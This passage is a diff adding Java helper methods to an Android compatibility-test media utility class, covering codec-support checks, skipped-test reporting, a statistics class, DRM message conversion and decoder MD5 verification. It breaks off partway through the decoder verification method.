+    private static String getTestName(boolean withClass) {
+        int bestScore = -1;
+        String testName = "test???";
+        Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
+        for (Map.Entry<Thread, StackTraceElement[]> entry : traces.entrySet()) {
+            StackTraceElement[] stack = entry.getValue();
+            for (int index = 0; index < stack.length; ++index) {
+                // method name must start with "test"
+                String methodName = stack[index].getMethodName();
+                if (!methodName.startsWith("test")) {
+                    continue;
+                }
+
+                int score = 0;
+                // see if there is a public non-static void method that takes no argument
+                Class<?> clazz;
+                try {
+                    clazz = Class.forName(stack[index].getClassName());
+                    ++score;
+                    for (final Method method : clazz.getDeclaredMethods()) {
+                        if (method.getName().equals(methodName)
+                                && isPublic(method.getModifiers())
+                                && !isStatic(method.getModifiers())
+                                && method.getParameterTypes().length == 0
+                                && method.getReturnType().equals(Void.TYPE)) {
+                            ++score;
+                            break;
+                        }
+                    }
+                    if (score == 1) {
+                        // if we could read the class, but method is not public void, it is
+                        // not a candidate
+                        continue;
+                    }
+                } catch (ClassNotFoundException e) {
+                }
+
+                // even if we cannot verify the method signature, there are signals in the stack
+
+                // usually test method is invoked by reflection
+                int depth = 1;
+                while (index + depth < stack.length
+                        && stack[index + depth].getMethodName().equals("invoke")
+                        && stack[index + depth].getClassName().equals(
+                                "java.lang.reflect.Method")) {
+                    ++depth;
+                }
+                if (depth > 1) {
+                    ++score;
+                    // and usually test method is run by runMethod method in android.test package
+                    if (index + depth < stack.length) {
+                        if (stack[index + depth].getClassName().startsWith("android.test.")) {
+                            ++score;
+                        }
+                        if (stack[index + depth].getMethodName().equals("runMethod")) {
+                            ++score;
+                        }
+                    }
+                }
+
+                if (score > bestScore) {
+                    bestScore = score;
+                    testName = methodName;
+                    if (withClass) {
+                        testName = stack[index].getClassName() + "." + testName;
+                    }
+                }
+            }
+        }
+        return testName;
+    }
+
+    /**
+     * Finds test name (heuristically) and prints out standard skip message.
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests. This centralizes the way to signal a skipped test.
+     */
+    public static void skipTest(String tag, String reason) {
+        Log.i(tag, "SKIPPING " + getTestName() + "(): " + reason);
+        DeviceReportLog log = new DeviceReportLog("CtsMediaSkippedTests", "test_skipped");
+        try {
+            log.addValue("reason", reason, ResultType.NEUTRAL, ResultUnit.NONE);
+            log.addValue(
+                    "test", getTestNameWithClass(), ResultType.NEUTRAL, ResultUnit.NONE);
+            log.submit();
+        } catch (NullPointerException e) { }
+    }
+
+    /**
+     * Finds test name (heuristically) and prints out standard skip message.
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests.  This centralizes the way to signal a skipped test.
+     */
+    public static void skipTest(String reason) {
+        skipTest(TAG, reason);
+    }
+
+    public static boolean check(boolean result, String message) {
+        if (!result) {
+            skipTest(message);
+        }
+        return result;
+    }
+
+    /*
+     *  ------------------- HELPER METHODS FOR CHECKING CODEC SUPPORT -------------------
+     */
+
+    public static boolean isGoogle(String codecName) {
+        codecName = codecName.toLowerCase();
+        return codecName.startsWith("omx.google.")
+                || codecName.startsWith("c2.android.")
+                || codecName.startsWith("c2.google.");
+    }
+
+    // returns the list of codecs that support any one of the formats
+    private static String[] getCodecNames(
+            boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        ArrayList<String> result = new ArrayList<>();
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (info.isEncoder() != isEncoder) {
+                continue;
+            }
+            if (isGoog != null && isGoogle(info.getName()) != isGoog) {
+                continue;
+            }
+
+            for (MediaFormat format : formats) {
+                String mime = format.getString(MediaFormat.KEY_MIME);
+
+                CodecCapabilities caps = null;
+                try {
+                    caps = info.getCapabilitiesForType(mime);
+                } catch (IllegalArgumentException e) {  // mime is not supported
+                    continue;
+                }
+                if (caps.isFormatSupported(format)) {
+                    result.add(info.getName());
+                    break;
+                }
+            }
+        }
+        return result.toArray(new String[result.size()]);
+    }
+
+    /* Use isGoog = null to query all decoders */
+    public static String[] getDecoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
+        return getCodecNames(false /* isEncoder */, isGoog, formats);
+    }
+
+    public static String[] getDecoderNames(MediaFormat... formats) {
+        return getCodecNames(false /* isEncoder */, null /* isGoog */, formats);
+    }
+
+    /* Use isGoog = null to query all decoders */
+    public static String[] getEncoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
+        return getCodecNames(true /* isEncoder */, isGoog, formats);
+    }
+
+    public static String[] getEncoderNames(MediaFormat... formats) {
+        return getCodecNames(true /* isEncoder */, null /* isGoog */, formats);
+    }
+
+    public static String[] getDecoderNamesForMime(String mime) {
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, mime);
+        return getCodecNames(false /* isEncoder */, null /* isGoog */, format);
+    }
+
+    public static String[] getEncoderNamesForMime(String mime) {
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, mime);
+        return getCodecNames(true /* isEncoder */, null /* isGoog */, format);
+    }
+
+    public static void verifyNumCodecs(
+            int count, boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
+        String desc = (isEncoder ? "encoders" : "decoders") + " for "
+                + (formats.length == 1 ? formats[0].toString() : Arrays.toString(formats));
+        if (isGoog != null) {
+            desc = (isGoog ? "Google " : "non-Google ") + desc;
+        }
+
+        String[] codecs = getCodecNames(isEncoder, isGoog, formats);
+        assertTrue("test can only verify " + count + " " + desc + "; found " + codecs.length + ": "
+                + Arrays.toString(codecs), codecs.length <= count);
+    }
+
+    public static MediaCodec getDecoder(MediaFormat format) {
+        String decoder = sMCL.findDecoderForFormat(format);
+        if (decoder != null) {
+            try {
+                return MediaCodec.createByCodecName(decoder);
+            } catch (IOException e) {
+            }
+        }
+        return null;
+    }
+
+    public static boolean canEncode(MediaFormat format) {
+        if (sMCL.findEncoderForFormat(format) == null) {
+            Log.i(TAG, "no encoder for " + format);
+            return false;
+        }
+        return true;
+    }
+
+    public static boolean canDecode(MediaFormat format) {
+        if (sMCL.findDecoderForFormat(format) == null) {
+            Log.i(TAG, "no decoder for " + format);
+            return false;
+        }
+        return true;
+    }
+
+    public static boolean supports(String codecName, String mime, int w, int h) {
+        // While this could be simply written as such, give more graceful feedback.
+        // MediaFormat format = MediaFormat.createVideoFormat(mime, w, h);
+        // return supports(codecName, format);
+
+        VideoCapabilities vidCap = getVideoCapabilities(codecName, mime);
+        if (vidCap == null) {
+            return false;
+        } else if (vidCap.isSizeSupported(w, h)) {
+            return true;
+        }
+
+        Log.w(TAG, "unsupported size " + w + "x" + h);
+        return false;
+    }
+
+    public static boolean supports(String codecName, MediaFormat format) {
+        MediaCodec codec;
+        try {
+            codec = MediaCodec.createByCodecName(codecName);
+        } catch (IOException e) {
+            Log.w(TAG, "codec not found: " + codecName);
+            return false;
+        }
+
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        CodecCapabilities cap = null;
+        try {
+            cap = codec.getCodecInfo().getCapabilitiesForType(mime);
+            return cap.isFormatSupported(format);
+        } catch (IllegalArgumentException e) {
+            Log.w(TAG, "not supported mime: " + mime);
+            return false;
+        } finally {
+            codec.release();
+        }
+    }
+
+    public static boolean hasCodecForTrack(MediaExtractor ex, int track) {
+        int count = ex.getTrackCount();
+        if (track < 0 || track >= count) {
+            throw new IndexOutOfBoundsException(track + " not in [0.." + (count - 1) + "]");
+        }
+        return canDecode(ex.getTrackFormat(track));
+    }
+
+    /**
+     * return true iff all audio and video tracks are supported
+     */
+    public static boolean hasCodecsForMedia(MediaExtractor ex) {
+        for (int i = 0; i < ex.getTrackCount(); ++i) {
+            MediaFormat format = ex.getTrackFormat(i);
+            // only check for audio and video codecs
+            String mime = format.getString(MediaFormat.KEY_MIME).toLowerCase();
+            if (!mime.startsWith("audio/") && !mime.startsWith("video/")) {
+                continue;
+            }
+            if (!canDecode(format)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * return true iff any track starting with mimePrefix is supported
+     */
+    public static boolean hasCodecForMediaAndDomain(MediaExtractor ex, String mimePrefix) {
+        mimePrefix = mimePrefix.toLowerCase();
+        for (int i = 0; i < ex.getTrackCount(); ++i) {
+            MediaFormat format = ex.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            if (mime.toLowerCase().startsWith(mimePrefix)) {
+                if (canDecode(format)) {
+                    return true;
+                }
+                Log.i(TAG, "no decoder for " + format);
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasCodecsForResourceCombo(
+            Context context, int resourceId, int track, String mimePrefix) {
+        try {
+            AssetFileDescriptor afd = null;
+            MediaExtractor ex = null;
+            try {
+                afd = context.getResources().openRawResourceFd(resourceId);
+                ex = new MediaExtractor();
+                ex.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+                if (mimePrefix != null) {
+                    return hasCodecForMediaAndDomain(ex, mimePrefix);
+                } else if (track == ALL_AV_TRACKS) {
+                    return hasCodecsForMedia(ex);
+                } else {
+                    return hasCodecForTrack(ex, track);
+                }
+            } finally {
+                if (ex != null) {
+                    ex.release();
+                }
+                if (afd != null) {
+                    afd.close();
+                }
+            }
+        } catch (IOException e) {
+            Log.i(TAG, "could not open resource");
+        }
+        return false;
+    }
+
+    /**
+     * return true iff all audio and video tracks are supported
+     */
+    public static boolean hasCodecsForResource(Context context, int resourceId) {
+        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, null /* mimePrefix */);
+    }
+
+    public static boolean checkCodecsForResource(Context context, int resourceId) {
+        return check(hasCodecsForResource(context, resourceId), "no decoder found");
+    }
+
+    /**
+     * return true iff track is supported.
+     */
+    public static boolean hasCodecForResource(Context context, int resourceId, int track) {
+        return hasCodecsForResourceCombo(context, resourceId, track, null /* mimePrefix */);
+    }
+
+    public static boolean checkCodecForResource(Context context, int resourceId, int track) {
+        return check(hasCodecForResource(context, resourceId, track), "no decoder found");
+    }
+
+    /**
+     * return true iff any track starting with mimePrefix is supported
+     */
+    public static boolean hasCodecForResourceAndDomain(
+            Context context, int resourceId, String mimePrefix) {
+        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, mimePrefix);
+    }
+
+    /**
+     * return true iff all audio and video tracks are supported
+     */
+    public static boolean hasCodecsForPath(Context context, String path) {
+        MediaExtractor ex = null;
+        try {
+            ex = getExtractorForPath(context, path);
+            return hasCodecsForMedia(ex);
+        } catch (IOException e) {
+            Log.i(TAG, "could not open path " + path);
+        } finally {
+            if (ex != null) {
+                ex.release();
+            }
+        }
+        return true;
+    }
+
+    private static MediaExtractor getExtractorForPath(Context context, String path)
+            throws IOException {
+        Uri uri = Uri.parse(path);
+        String scheme = uri.getScheme();
+        MediaExtractor ex = new MediaExtractor();
+        try {
+            if (scheme == null) { // file
+                ex.setDataSource(path);
+            } else if (scheme.equalsIgnoreCase("file")) {
+                ex.setDataSource(uri.getPath());
+            } else {
+                ex.setDataSource(context, uri, null);
+            }
+        } catch (IOException e) {
+            ex.release();
+            throw e;
+        }
+        return ex;
+    }
+
+    public static boolean checkCodecsForPath(Context context, String path) {
+        return check(hasCodecsForPath(context, path), "no decoder found");
+    }
+
+    public static boolean hasCodecForDomain(boolean encoder, String domain) {
+        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+            if (encoder != info.isEncoder()) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (type.toLowerCase().startsWith(domain.toLowerCase() + "/")) {
+                    Log.i(TAG, "found codec " + info.getName() + " for mime " + type);
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    public static boolean checkCodecForDomain(boolean encoder, String domain) {
+        return check(hasCodecForDomain(encoder, domain),
+                "no " + domain + (encoder ? " encoder" : " decoder") + " found");
+    }
+
+    private static boolean hasCodecForMime(boolean encoder, String mime) {
+        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+            if (encoder != info.isEncoder()) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (type.equalsIgnoreCase(mime)) {
+                    Log.i(TAG, "found codec " + info.getName() + " for mime " + mime);
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasCodecForMimes(boolean encoder, String[] mimes) {
+        for (String mime : mimes) {
+            if (!hasCodecForMime(encoder, mime)) {
+                Log.i(TAG, "no " + (encoder ? "encoder" : "decoder") + " for mime " + mime);
+                return false;
+            }
+        }
+        return true;
+    }
+
+
+    public static boolean hasEncoder(String... mimes) {
+        return hasCodecForMimes(true /* encoder */, mimes);
+    }
+
+    public static boolean hasDecoder(String... mimes) {
+        return hasCodecForMimes(false /* encoder */, mimes);
+    }
+
+    public static boolean checkDecoder(String... mimes) {
+        return check(hasCodecForMimes(false /* encoder */, mimes), "no decoder found");
+    }
+
+    public static boolean checkEncoder(String... mimes) {
+        return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
+    }
+
+    public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+        return canDecode(format);
+    }
+
+    public static boolean canDecodeVideo(
+            String mime, int width, int height, float rate,
+            Integer profile, Integer level, Integer bitrate) {
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+        if (profile != null) {
+            format.setInteger(MediaFormat.KEY_PROFILE, profile);
+            if (level != null) {
+                format.setInteger(MediaFormat.KEY_LEVEL, level);
+            }
+        }
+        if (bitrate != null) {
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        }
+        return canDecode(format);
+    }
+
+    public static boolean checkEncoderForFormat(MediaFormat format) {
+        return check(canEncode(format), "no encoder for " + format);
+    }
+
+    public static boolean checkDecoderForFormat(MediaFormat format) {
+        return check(canDecode(format), "no decoder for " + format);
+    }
+
+    /*
+     *  ----------------------- HELPER METHODS FOR MEDIA HANDLING -----------------------
+     */
+
+    public static VideoCapabilities getVideoCapabilities(String codecName, String mime) {
+        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+            if (!info.getName().equalsIgnoreCase(codecName)) {
+                continue;
+            }
+            CodecCapabilities caps;
+            try {
+                caps = info.getCapabilitiesForType(mime);
+            } catch (IllegalArgumentException e) {
+                // mime is not supported
+                Log.w(TAG, "not supported mime: " + mime);
+                return null;
+            }
+            VideoCapabilities vidCaps = caps.getVideoCapabilities();
+            if (vidCaps == null) {
+                Log.w(TAG, "not a video codec: " + codecName);
+            }
+            return vidCaps;
+        }
+        Log.w(TAG, "codec not found: " + codecName);
+        return null;
+    }
+
+    public static MediaFormat getTrackFormatForResource(
+            Context context,
+            int resourceId,
+            String mimeTypePrefix) throws IOException {
+        MediaExtractor extractor = new MediaExtractor();
+        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
+        try {
+            extractor.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        return getTrackFormatForExtractor(extractor, mimeTypePrefix);
+    }
+
+    public static MediaFormat getTrackFormatForPath(
+            Context context, String path, String mimeTypePrefix)
+            throws IOException {
+      MediaExtractor extractor = getExtractorForPath(context, path);
+      return getTrackFormatForExtractor(extractor, mimeTypePrefix);
+    }
+
+    private static MediaFormat getTrackFormatForExtractor(
+            MediaExtractor extractor,
+            String mimeTypePrefix) {
+      int trackIndex;
+      MediaFormat format = null;
+      for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
+          MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
+          if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+              format = trackMediaFormat;
+              break;
+          }
+      }
+      extractor.release();
+      if (format == null) {
+          throw new RuntimeException("couldn't get a track for " + mimeTypePrefix);
+      }
+
+      return format;
+    }
+
+    public static MediaExtractor createMediaExtractorForMimeType(
+            Context context, int resourceId, String mimeTypePrefix)
+            throws IOException {
+        MediaExtractor extractor = new MediaExtractor();
+        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
+        try {
+            extractor.setDataSource(
+                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        int trackIndex;
+        for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
+            MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
+            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+                extractor.selectTrack(trackIndex);
+                break;
+            }
+        }
+        if (trackIndex == extractor.getTrackCount()) {
+            extractor.release();
+            throw new IllegalStateException("couldn't get a track for " + mimeTypePrefix);
+        }
+
+        return extractor;
+    }
+
+    /*
+     *  ---------------------- HELPER METHODS FOR CODEC CONFIGURATION
+     */
+
+    /** Format must contain mime, width and height.
+     *  Throws Exception if encoder does not support this width and height */
+    public static void setMaxEncoderFrameAndBitrates(
+            MediaCodec encoder, MediaFormat format, int maxFps) {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        VideoCapabilities vidCaps =
+            encoder.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
+        setMaxEncoderFrameAndBitrates(vidCaps, format, maxFps);
+    }
+
+    public static void setMaxEncoderFrameAndBitrates(
+            VideoCapabilities vidCaps, MediaFormat format, int maxFps) {
+        int width = format.getInteger(MediaFormat.KEY_WIDTH);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+
+        int maxWidth = vidCaps.getSupportedWidths().getUpper();
+        int maxHeight = vidCaps.getSupportedHeightsFor(maxWidth).getUpper();
+        int frameRate = Math.min(
+                maxFps, vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue());
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
+
+        int bitrate = vidCaps.getBitrateRange().clamp(
+            (int)(vidCaps.getBitrateRange().getUpper() /
+                  Math.sqrt((double)maxWidth * maxHeight / width / height)));
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+    }
+
+    /*
+     *  ------------------ HELPER METHODS FOR STATISTICS AND REPORTING ------------------
+     */
+
+    // TODO: migrate this into com.android.compatibility.common.util.Stat
+    public static class Stats {
+        /** does not support NaN or Inf in |data| */
+        public Stats(double[] data) {
+            mData = data;
+            if (mData != null) {
+                mNum = mData.length;
+            }
+        }
+
+        public int getNum() {
+            return mNum;
+        }
+
+        /** calculate mSumX and mSumXX */
+        private void analyze() {
+            if (mAnalyzed) {
+                return;
+            }
+
+            if (mData != null) {
+                for (double x : mData) {
+                    if (!(x >= mMinX)) { // mMinX may be NaN
+                        mMinX = x;
+                    }
+                    if (!(x <= mMaxX)) { // mMaxX may be NaN
+                        mMaxX = x;
+                    }
+                    mSumX += x;
+                    mSumXX += x * x;
+                }
+            }
+            mAnalyzed = true;
+        }
+
+        /** returns the maximum or NaN if it does not exist */
+        public double getMin() {
+            analyze();
+            return mMinX;
+        }
+
+        /** returns the minimum or NaN if it does not exist */
+        public double getMax() {
+            analyze();
+            return mMaxX;
+        }
+
+        /** returns the average or NaN if it does not exist. */
+        public double getAverage() {
+            analyze();
+            if (mNum == 0) {
+                return Double.NaN;
+            } else {
+                return mSumX / mNum;
+            }
+        }
+
+        /** returns the standard deviation or NaN if it does not exist. */
+        public double getStdev() {
+            analyze();
+            if (mNum == 0) {
+                return Double.NaN;
+            } else {
+                double average = mSumX / mNum;
+                return Math.sqrt(mSumXX / mNum - average * average);
+            }
+        }
+
+        /** returns the statistics for the moving average over n values */
+        public Stats movingAverage(int n) {
+            if (n < 1 || mNum < n) {
+                return new Stats(null);
+            } else if (n == 1) {
+                return this;
+            }
+
+            double[] avgs = new double[mNum - n + 1];
+            double sum = 0;
+            for (int i = 0; i < mNum; ++i) {
+                sum += mData[i];
+                if (i >= n - 1) {
+                    avgs[i - n + 1] = sum / n;
+                    sum -= mData[i - n + 1];
+                }
+            }
+            return new Stats(avgs);
+        }
+
+        /** returns the statistics for the moving average over a window over the
+         *  cumulative sum. Basically, moves a window from: [0, window] to
+         *  [sum - window, sum] over the cumulative sum, over ((sum - window) / average)
+         *  steps, and returns the average value over each window.
+         *  This method is used to average time-diff data over a window of a constant time.
+         */
+        public Stats movingAverageOverSum(double window) {
+            if (window <= 0 || mNum < 1) {
+                return new Stats(null);
+            }
+
+            analyze();
+            double average = mSumX / mNum;
+            if (window >= mSumX) {
+                return new Stats(new double[] { average });
+            }
+            int samples = (int)Math.ceil((mSumX - window) / average);
+            double[] avgs = new double[samples];
+
+            // A somewhat brute force approach to calculating the moving average.
+            // TODO: add support for weights in Stats, so we can do a more refined approach.
+            double sum = 0; // sum of elements in the window
+            int num = 0; // number of elements in the moving window
+            int bi = 0; // index of the first element in the moving window
+            int ei = 0; // index of the last element in the moving window
+            double space = window; // space at the end of the window
+            double foot = 0; // space at the beginning of the window
+
+            // invariants: foot + sum + space == window
+            //             bi + num == ei
+            //
+            //  window:             |-------------------------------|
+            //                      |    <-----sum------>           |
+            //                      <foot>               <---space-->
+            //                           |               |
+            //  intervals:   |-----------|-------|-------|--------------------|--------|
+            //                           ^bi             ^ei
+
+            int ix = 0; // index in the result
+            while (ix < samples) {
+                // add intervals while there is space in the window
+                while (ei < mData.length && mData[ei] <= space) {
+                    space -= mData[ei];
+                    sum += mData[ei];
+                    num++;
+                    ei++;
+                }
+
+                // calculate average over window and deal with odds and ends (e.g. if there are no
+                // intervals in the current window: pick whichever element overlaps the window
+                // most.
+                if (num > 0) {
+                    avgs[ix++] = sum / num;
+                } else if (bi > 0 && foot > space) {
+                    // consider previous
+                    avgs[ix++] = mData[bi - 1];
+                } else if (ei == mData.length) {
+                    break;
+                } else {
+                    avgs[ix++] = mData[ei];
+                }
+
+                // move the window to the next position
+                foot -= average;
+                space += average;
+
+                // remove intervals that are now partially or wholly outside of the window
+                while (bi < ei && foot < 0) {
+                    foot += mData[bi];
+                    sum -= mData[bi];
+                    num--;
+                    bi++;
+                }
+            }
+            return new Stats(Arrays.copyOf(avgs, ix));
+        }
+
+        /** calculate mSortedData */
+        private void sort() {
+            if (mSorted || mNum == 0) {
+                return;
+            }
+            mSortedData = Arrays.copyOf(mData, mNum);
+            Arrays.sort(mSortedData);
+            mSorted = true;
+        }
+
+        /** returns an array of percentiles for the points using nearest rank */
+        public double[] getPercentiles(double... points) {
+            sort();
+            double[] res = new double[points.length];
+            for (int i = 0; i < points.length; ++i) {
+                if (mNum < 1 || points[i] < 0 || points[i] > 100) {
+                    res[i] = Double.NaN;
+                } else {
+                    res[i] = mSortedData[(int)Math.round(points[i] / 100 * (mNum - 1))];
+                }
+            }
+            return res;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (o instanceof Stats) {
+                Stats other = (Stats)o;
+                if (other.mNum != mNum) {
+                    return false;
+                } else if (mNum == 0) {
+                    return true;
+                }
+                return Arrays.equals(mData, other.mData);
+            }
+            return false;
+        }
+
+        private double[] mData;
+        private double mSumX = 0;
+        private double mSumXX = 0;
+        private double mMinX = Double.NaN;
+        private double mMaxX = Double.NaN;
+        private int mNum = 0;
+        private boolean mAnalyzed = false;
+        private double[] mSortedData;
+        private boolean mSorted = false;
+    }
+
+    /**
+     * Convert a forward lock .dm message stream to a .fl file
+     * @param context Context to use
+     * @param dmStream The .dm message
+     * @param flFile The output file to be written
+     * @return success
+     */
+    public static boolean convertDmToFl(
+            Context context,
+            InputStream dmStream,
+            RandomAccessFile flFile) {
+        final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
+        byte[] dmData = new byte[10000];
+        int totalRead = 0;
+        int numRead;
+        while (true) {
+            try {
+                numRead = dmStream.read(dmData, totalRead, dmData.length - totalRead);
+            } catch (IOException e) {
+                Log.w(TAG, "Failed to read from input file");
+                return false;
+            }
+            if (numRead == -1) {
+                break;
+            }
+            totalRead += numRead;
+            if (totalRead == dmData.length) {
+                // grow array
+                dmData = Arrays.copyOf(dmData, dmData.length + 10000);
+            }
+        }
+        byte[] fileData = Arrays.copyOf(dmData, totalRead);
+
+        DrmManagerClient drmClient = null;
+        try {
+            drmClient = new DrmManagerClient(context);
+        } catch (IllegalArgumentException e) {
+            Log.w(TAG, "DrmManagerClient instance could not be created, context is Illegal.");
+            return false;
+        } catch (IllegalStateException e) {
+            Log.w(TAG, "DrmManagerClient didn't initialize properly.");
+            return false;
+        }
+
+        try {
+            int convertSessionId = -1;
+            try {
+                convertSessionId = drmClient.openConvertSession(MIMETYPE_DRM_MESSAGE);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "Conversion of Mimetype: " + MIMETYPE_DRM_MESSAGE
+                        + " is not supported.", e);
+                return false;
+            } catch (IllegalStateException e) {
+                Log.w(TAG, "Could not access Open DrmFramework.", e);
+                return false;
+            }
+
+            if (convertSessionId < 0) {
+                Log.w(TAG, "Failed to open session.");
+                return false;
+            }
+
+            DrmConvertedStatus convertedStatus = null;
+            try {
+                convertedStatus = drmClient.convertData(convertSessionId, fileData);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "Buffer with data to convert is illegal. Convertsession: "
+                        + convertSessionId, e);
+                return false;
+            } catch (IllegalStateException e) {
+                Log.w(TAG, "Could not convert data. Convertsession: " + convertSessionId, e);
+                return false;
+            }
+
+            if (convertedStatus == null ||
+                    convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
+                    convertedStatus.convertedData == null) {
+                Log.w(TAG, "Error in converting data. Convertsession: " + convertSessionId);
+                try {
+                    DrmConvertedStatus result = drmClient.closeConvertSession(convertSessionId);
+                    if (result.statusCode != DrmConvertedStatus.STATUS_OK) {
+                        Log.w(TAG, "Conversion failed with status: " + result.statusCode);
+                        return false;
+                    }
+                } catch (IllegalStateException e) {
+                    Log.w(TAG, "Could not close session. Convertsession: " +
+                           convertSessionId, e);
+                }
+                return false;
+            }
+
+            try {
+                flFile.write(convertedStatus.convertedData, 0, convertedStatus.convertedData.length);
+            } catch (IOException e) {
+                Log.w(TAG, "Failed to write to output file: " + e);
+                return false;
+            }
+
+            try {
+                convertedStatus = drmClient.closeConvertSession(convertSessionId);
+            } catch (IllegalStateException e) {
+                Log.w(TAG, "Could not close convertsession. Convertsession: " +
+                        convertSessionId, e);
+                return false;
+            }
+
+            if (convertedStatus == null ||
+                    convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
+                    convertedStatus.convertedData == null) {
+                Log.w(TAG, "Error in closing session. Convertsession: " + convertSessionId);
+                return false;
+            }
+
+            try {
+                flFile.seek(convertedStatus.offset);
+                flFile.write(convertedStatus.convertedData);
+            } catch (IOException e) {
+                Log.w(TAG, "Could not update file.", e);
+                return false;
+            }
+
+            return true;
+        } finally {
+            drmClient.close();
+        }
+    }
+
+    /**
+     * @param decoder new MediaCodec object
+     * @param ex MediaExtractor after setDataSource and selectTrack
+     * @param frameMD5Sums reference MD5 checksum for decoded frames
+     * @return true if decoded frames checksums matches reference checksums
+     * @throws IOException
+     */
+    public static boolean verifyDecoder(
+            MediaCodec decoder, MediaExtractor ex, List<String> frameMD5Sums)
+            throws IOException {
+
+        int trackIndex = ex.getSampleTrackIndex();
+        MediaFormat format = ex.getTrackFormat(trackIndex);
+        decoder.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+        decoder.start();
+
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        final long kTimeOutUs = 5000; // 5ms timeout
+        int decodedFrameCount = 0;
+        int expectedFrameCount = frameMD5Sums.size();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+        while (!sawOutputEOS) {
+            // handle input
+            if (!sawInputEOS) {
+                int inIdx = decoder.dequeueInputBuffer(kTimeOutUs);
+                if (inIdx >= 0) {
+                    ByteBuffer buffer = decoder.getInputBuffer(inIdx);
+                    int sampleSize = ex.readSampleData(buffer, 0);
+                    if (sampleSize < 0) {
+                        final int flagEOS = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                        decoder.queueInputBuffer(inIdx, 0, 0, 0, flagEOS);
+                        sawInputEOS = true;
+                    } else {
+                        decoder.queueInputBuffer(inIdx, 0, sampleSize, ex.getSampleTime(), 0);
+                        ex.advance();
+                    }
+                }
+            }
+
+            // handle output
+            int outputBufIndex = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+            if (outputBufIndex >= 0) {
+                try {
+                    if (info.size > 0) {
+                        // Disregard 0-sized buffers at the end.
+                        String md5CheckSum = "";
+                        Image image = decoder.getOutputImage(outputBufIndex);
+                        md5CheckSum = getImageMD5Checksum(image);
+
+                        if (!md5CheckSum.equals(frameMD5Sums.get(decodedFrameCount))) {
+                            Log.d(TAG,
+                                    String.format(
+                                            "Frame %d md5sum mismatch: %s(actual) vs %s(expected)",
+                                            decodedFrameCount, md5CheckSum,
+                                            frameMD5Sums.get(decodedFrameCount)));
+                            return false;
+                        }
+
+                        decodedFrameCount++;
+                    }
+                } catch (Exception e) {
+                    Log.e(TAG, "getOutputImage md5CheckSum failed", e);
+                    return false;
+                } finally {
+                    decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    sawOutputEOS = true;
+                }
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat decOutputFormat = decoder.getOutputFormat();
+                Log.d(TAG, "output format " + decOutputFormat);
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                Log.i(TAG, "Skip handling MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED");
